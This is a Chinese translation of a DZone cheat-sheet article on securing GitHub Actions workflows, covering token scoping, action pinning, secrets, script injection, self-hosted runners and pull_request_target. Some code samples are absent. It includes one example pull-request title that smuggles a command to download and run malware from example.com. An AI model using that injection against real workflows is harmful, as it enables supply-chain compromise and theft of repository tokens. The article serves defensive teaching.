GitHub Actions是一个越来越受欢迎的CI/CD平台。它们能够在保持易访问性的同时,自动化开发周期的几乎所有任务。不过,由于它们经常会调用外部代码,这会给GitHub Action的工作流带来各种风险隐患,因此无论我们是否维护的是开源项目,都需要采取一些必要的安全措施。下图是我为您整理的一张保护GitHub Actions的速查表。我据此将和您开展深入讨论。
一、什么是GitHub Actions?
GitHub Actions是GitHub的一种CI/CD服务。它可以作为从开发系统转化到生产系统的一种工作流机制。GitHub事件不但能够触发各种action(如:提交拉取请求、开启问题、合并拉取请求等),而且可以执行任何命令。例如,它们可用于格式化代码、拉取请求,将问题的注释与另一个工单系统的注释相同步,为新的问题添加适当的标签,以及触发全面的云部署。
通常,该工作流由一到多个作业组成。这些作业在自己的虚拟机或容器(运行程序,runner)中运行,并能执行一到多个步骤。其中,每一个步骤都可以是一个shell脚本或action。其实,它是专门为GitHub CI生态系统打包的一段可重用的代码。
由于GitHub托管着数以百万计的开源项目,这些项目可以通过拉取请求,进行分叉(fork)和贡献(contribute),因此GitHub Actions的安全性对于防范供应链攻击来说是至关重要的。下面,我们来讨论一些值得借鉴的优秀实践:
二、设置信任凭据的最小范围
让我们将这个适用于工作流中所有信任凭据的一般性安全原则,运用到特定的GITHUB_TOKEN上。该令牌会授予每个运行程序与存储库交互的权限。由于它是临时的,因此其有效性仅以工作流的开始和结束为界。
默认情况下,该令牌的权限为“允许”(适用于常见范围的读与写)或“受限”(适用于常见范围的默认无权限)。由于无论在哪种情况下,分叉的存储库最多只有一个读的访问(read-access)权限,因此无论您选择哪种选项,都应该仅授予GITHUB_TOKEN执行工作流或作业所需的最低权限。为此,我们需要在工作流中,使用“权限”键,来配置工作流或作业所需的最低权限,以实现对GitHub Actions权限的细粒度控制。
当然,该原则也适用于环境变量。为了限制环境变量的作用范围,您也应该始终在step级别去声明它们,以避免其他阶段对其进行任意访问。
三、使用特定的操作版本标签
通常,当人们在GitHub上创建自己的工作流时,他们会直接使用由他人创建的Actions。例如,几乎所有的工作流程都会从如下步骤开始:
而多数人可能认为这只是在获取自己的代码,没什么危险的。不过,让我们来研究一下它是如何检查目标代码的:以“uses”开头的一行会将代码通过“actions/checkout”操作,从GitHub存储库获取到,并推送给运行着工作流的服务器。如果您仔细阅读其源代码,就会意识到:盲目地相信其所有行为是极其风险的。各种第三方action会与您的代码进行交互,并且可能在服务器上运行。对此,我们往往缺乏在后台监控各种发布更新、以及执行更改等实际操作的概念。
让我们来设想这样一种威胁场景:您需要使用一个第三方的linter,来检查自己代码上的格式问题。为此,您决定直接使用来自GitHub Actions Marketplace的一个action,而无需自行安装、配置和运行linter。在完成试运行后,您可以在存储库中设置一个使用它的工作流:
而在该操作被使用了数月之后,您可能突然遇到了API密钥被盗或滥用的问题。经过调查,该第三方linter action的作者,最近向GitHub Marketplace推送了一个更新,将其重新标记为“v1”,其中便包含了将环境变量发送到某个随机网址的代码。因此,每个使用“someperson/linter-action@v1”的人,都会在他们的工作流中运行该恶意代码。
对于没有人会关注其使用的第三方action是否有更新的情况,我们该如何实施安全保护呢?GitHub为我们提供了一种方法:您可以通过提交哈希,而非使用来自存储库的标签,来运行某项操作。例如,当您将容器镜像自动推送到Docker Hub时,可以在工作流中使用如下代码,来进行身份验证:
左右滑动查看完整代码
通过在验证Docker Hub时,准确地指定待提交的内容,我们可以保证工作流中的action具有一致性,而不必担心其发生任何变化。
四、不要使用纯文本的密码
虽然这是一个常识,但还是需要提一下:请既不要在源代码中,也不要在CI工作流文件里,以纯文本的形式存储API的密钥或密码。作为一项服务,GitHub Secrets可以让您以安全的方式,存储自己的密钥,并在工作流中使用各种${{}}括号,来引用它们,以确保将所有纯文本的机密信息,都排除在GitHub Actions之外。
当然,您也可以使用免费的ggshield-action,来扫描源代码中是否存在着密码。
五、不要引用您无法控制的值
正如前文所述,GitHub允许您使用各种${{}}括号,来引用GitHub环境中的机密信息。不过,这些可引用的信息不一定是由您设置的。这也是许多开源存储库的常见错误源。下面的工作流便是我一个错误:
其“lint”命令包含了来自拉取请求的一些输入,其中含有获取由提交请求的人所设置的拉取请求的标题。例如,假设有人向此存储库提交了如下拉取请求:
a" && wget https://example.com/malware && ./malware && echo "Title
那么,如下YAML工作流会便会被评估:
在本例中,攻击者下载并执行了恶意软件,进而窃取了运行程序的GITHUB_TOKEN。而根据工作流的运行上下文,令牌可能具有对原始存储库的写入权限。这就意味着攻击者完全可以修改存储库里内容(也包括发布)。
另一个例子则是从CI中窃取敏感数据,即收集可用于横向移动的密钥。由于拉取请求标题并非外部各方设置的唯一GitHub环境值,因此拉取请求正文、以及发布的标题和正文也是不受信任的。当您在GitHub Actions的步骤中引用此类变量时,应确保能够管控它们的来源。
为了安全起见,您有两种选择:
1.使用Action而不是内联脚本
Action将使用(不可信的)上下文值作为参数,来判断注入攻击:
2.使用中间环境变量
如果您需要执行一个脚本,则应该设置一个中间环境变量:
请注意,我们通过对变量添加双引号,来避免其他类型的利用,从而起到了额外的预防效果。
六、仅在可信的代码上运行工作流
无论您是托管自己的action运行程序,还是使用GitHub的运行程序,当工作流运行时,您都需要谨慎地授予潜在的运行代码、访问机密信息、以及在运行程序环境中执行的权限。
如果您维护一个开源的存储库,那么很可能会收到一些从未接触过的定期拉取请求。对此,您应该多问自己:“在启动工作流时,正在运行的是什么代码?这些代码从何而来?”
让我们考虑一个潜在的威胁场景。假设您是GitHub上某个组织的维护者,并且手头有一个设置了自动化测试的开源项目。某日,有人向该存储库提交了一个包含有新特性和一些测试用例的拉取请求。您不知道的是,其中一个测试用例并不包含测试代码,而是会在服务器上安装并运行某个“挖矿”应用。那么,一旦您的CI启动了所有的测试代码,您原有的运行程序就会受到影响。
实际上,GitHub可以通过默认设置,来保护我们免受此类攻击。也就是说,GitHub能够不允许个人帐户在公共存储库上使用自托管运行程序,而仅对组织不设限。
针对此类场景的另一种保护措施是,针对来自拉取请求的代码,确定何时运行GitHub Actions。默认情况下,来自首次贡献者(contributor)的拉取请求,需要维护者的批准,才能开始CI测试。而作为维护者,您有责任确保在批准工作流之前,仔细阅读所有提交的代码。当然,如果有人在提交带有恶意代码的第二个请求之前,事先提交了一个小的拉取请求。那么由于他并非首次贡献者,其所有的配置工作流都会自动运行。对此,GitHub可以被设置为要求所有外部合作者的每一次请求都需要获得批准。
七、加固Action运行程序
在设置CI工作流期间,您可以在每个工作流中指定其应该运行的位置。GitHub提供了一些针对Ubuntu、Mac和Windows等不同的运行程序。当您使用GitHub的运行程序时,它们必须作为一个干净的VM被启动。当然,您也可以选择将自己的服务器配置为运行程序,来执行自己的工作流。
注意,请千万不要将自托管的运行程序用于公共存储库。这无疑允许了任何人分叉您的存储库,进而提交恶意拉取请求,逃离沙箱,以及访问网络。如果您确实需要设置自托管运行程序的话,请注意如下方面:
1.您自己应该是唯一能够配置服务器上运行的工作流的人。
2.使用专用的非特权帐户(例如:github-runner等非管理员的权限)来启动运行程序,并执行工作流。同时,您应该确保它无权修改其工作空间之外的任何内容(除非在工作流中使用sudo),并且只允许它执行所属的特定文件。
3.通过设置临时且被隔离的负载,来执行诸如Kubernetes Pod或容器等作业。据此,当工作流完成时,虚拟机就会被销毁,以避免各种潜在的风险。
4.使用日志记录和安全监控工具。如果您有一个安全团队,可通过使用EDR代理、或类似Linux的Sysmon之类的工具,去收集运行程序服务器上的进程日志,并通过检测规则,在发生可疑情况时发出警告。
在典型的SolarWinds供应链攻击中,攻击者曾位于SolarWinds所构建的服务器内,并使用其访问权限将恶意代码注入到了Orion平台上。如果我们能够对运行程序的可疑活动采取有效的监控的话,就能够确保代码的完整性,防范构建过程被篡改,以及攻击者使用的命令与控制(command-and-control,C2)、及各种持久性技术。
八、请小心使用pull_request_target触发器
在维护开源的存储库时,您还可能碰到被称为pwn requests的漏洞。恶意拉取请求会利用该漏洞,在特定情况下截获秘密信息、甚至篡改发布。因此,如果您在GitHub Actions中使用了“on: pull_request_target”事件,请不要使用如下代码内容:
也就是说,当有人分叉您的存储库,并打开一个拉取请求时,就会涉及到两个存储库:一个是在您控制下的目标库,以及他人的分叉存储库(fork repo)。
通常,当有人提交拉取请求时,我们会使用“pull_request”触发事件,来触发工作流。有了它,被触发的工作流就只会在提交者的分叉存储库的上下文中运行。而且,被提供的GITHUB_TOKEN将没有写入的权限,更无法访问到机密信息。
虽然这些都是合理的默认设置,但在某些情况下,它们可能有点过于受限了。应开源社区的要求,GitHub引入了“pull_request_target”事件。它与前者之间的区别并不大,但存在着一些安全隐患。例如:由于pull_request_target触发器是在您的目标存储库的上下文中运行的,那么工作流便可以访问到您的机密信息,并写入您的代码。一旦工作流运行那些不受控制的代码,就会变得非常危险。这也就是为什么检查分叉存储库的代码,就需要解读工作流,以分析出任何类型的远程代码执行的原因。
九、漏洞示例
为了证明这一点,让我们来看下面易受攻击的GitHub Action:
该代码满足了两个条件:工作流触发器运行在目标存储库上,作业的第一步是签出拉取请求代码的HEAD(即,最后一次提交)。因此,该代码将会在来自拉取请求的工作流的其余部分被使用到,并且会打开各种被利用的威胁向量。
例如,为了安装依赖项而执行的、看似无害的“run: pip install ...”,此时便是一个潜在的向量。毕竟只要通过修改setup.py,便可在pip启动之前,执行某个“预安装”的脚本。而且,由于脚本中可以使用各种shell命令,因此攻击者可以轻松地启动反向shell,或获取恶意负载。该负载旨在对原始存储库的源代码执行修改、以及重新标记(re-tagging)发布等操作。
这可以说是为发起供应链攻击准备的“完美”漏洞,毕竟开源项目的所有用户都可能在不知情的情况下受到此类攻击。当然,这只是一个攻击向量。而通过更改some_command二进制文件,来窃取SOME_SECRET环境变量,可能要容易得多。
注意,不仅是上述shell命令在此类配置中容易受攻击,就算工作流仅依赖于action,由于各种action会在后台执行本地的脚本,因此代码注入仍然极容易发生。这就是为什么我们强烈建议您不要使用pull_request_target的原因。即便您使用了,也千万不要盲目地签出那些不受信任的拉取请求代码。
十、首选使用OpenID Connect访问云资源
OpenID Connect(OIDC)允许您将工作流请求并使用来自云服务提供商的短期访问令牌,而无需将那些长期有效的密钥复制到GitHub中。通过配置,您还能受益于来自云提供商的细粒度访问控制,以及更好的自动化密钥管理。
为此,您需要首先在云提供商处建立OIDC的信任关系,以控制谁可以访问什么资源。然后,在GitHub上,OIDC提供者将被配置为自动生成包含声明的JWT令牌。该声明允许工作流对云服务提供者进行身份验证。一旦这些声明被验证通过,一个基于角色范畴的、短期访问令牌就会被发送回工作流,以方便后期执行。
十一、结论
综上所述,作为开源社区最受欢迎的CI/CD工具之一,GitHub Actions可被用于公共或私有存储库的各项操作。不过,从安全的角度,您应该小心设置与之相关工作流的方式,以避免密钥、工件、以及供应链受到攻击。
在此,我将上面讨论过的GitHub Actions的安全实践总结如下:
1.使用最小范围的信任凭据,并且确保GITHUB_TOKEN配置了最低权限,去运行您的作业。
2.使用特定的版本标签,以免受到第三方action的供应链危害。
3.切勿以明文形式存储任何API密钥、令牌或密码,请使用ggshield-action在您的CI工作流中通过修复,来实施密钥检测。
4.避免直接引用易受恶意拉取请求注入的代码、不可控的值,请使用带有参数的action,或直接将值绑定到环境变量中。
5.在使用自托管运行程序时,应格外小心,最好不要将此选项用于开源存储库,或启用要求所有外部提交都获批才能运行的工作流。让运行程序使用虚拟机,并将其配置为在最短时间内,使用低权限用户,并配备充分的日志记录和监控工具。
6.鉴于恶意的拉取请求可能会滥用您的构建步骤、密钥,进而破坏您的环境,因此在使用“pull_request_target event”时,请不要签出外部拉取请求。
7.尽量使用OpenID Connect,而非长期有效的密钥,来实现工作流与云端资源的交互。
原文链接:https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet
译者介绍
陈峻 (Julian Chen),51CTO社区编辑,具有十多年的IT项目实施经验,善于对内外部资源与风险实施管控,专注传播网络与信息安全知识与经验。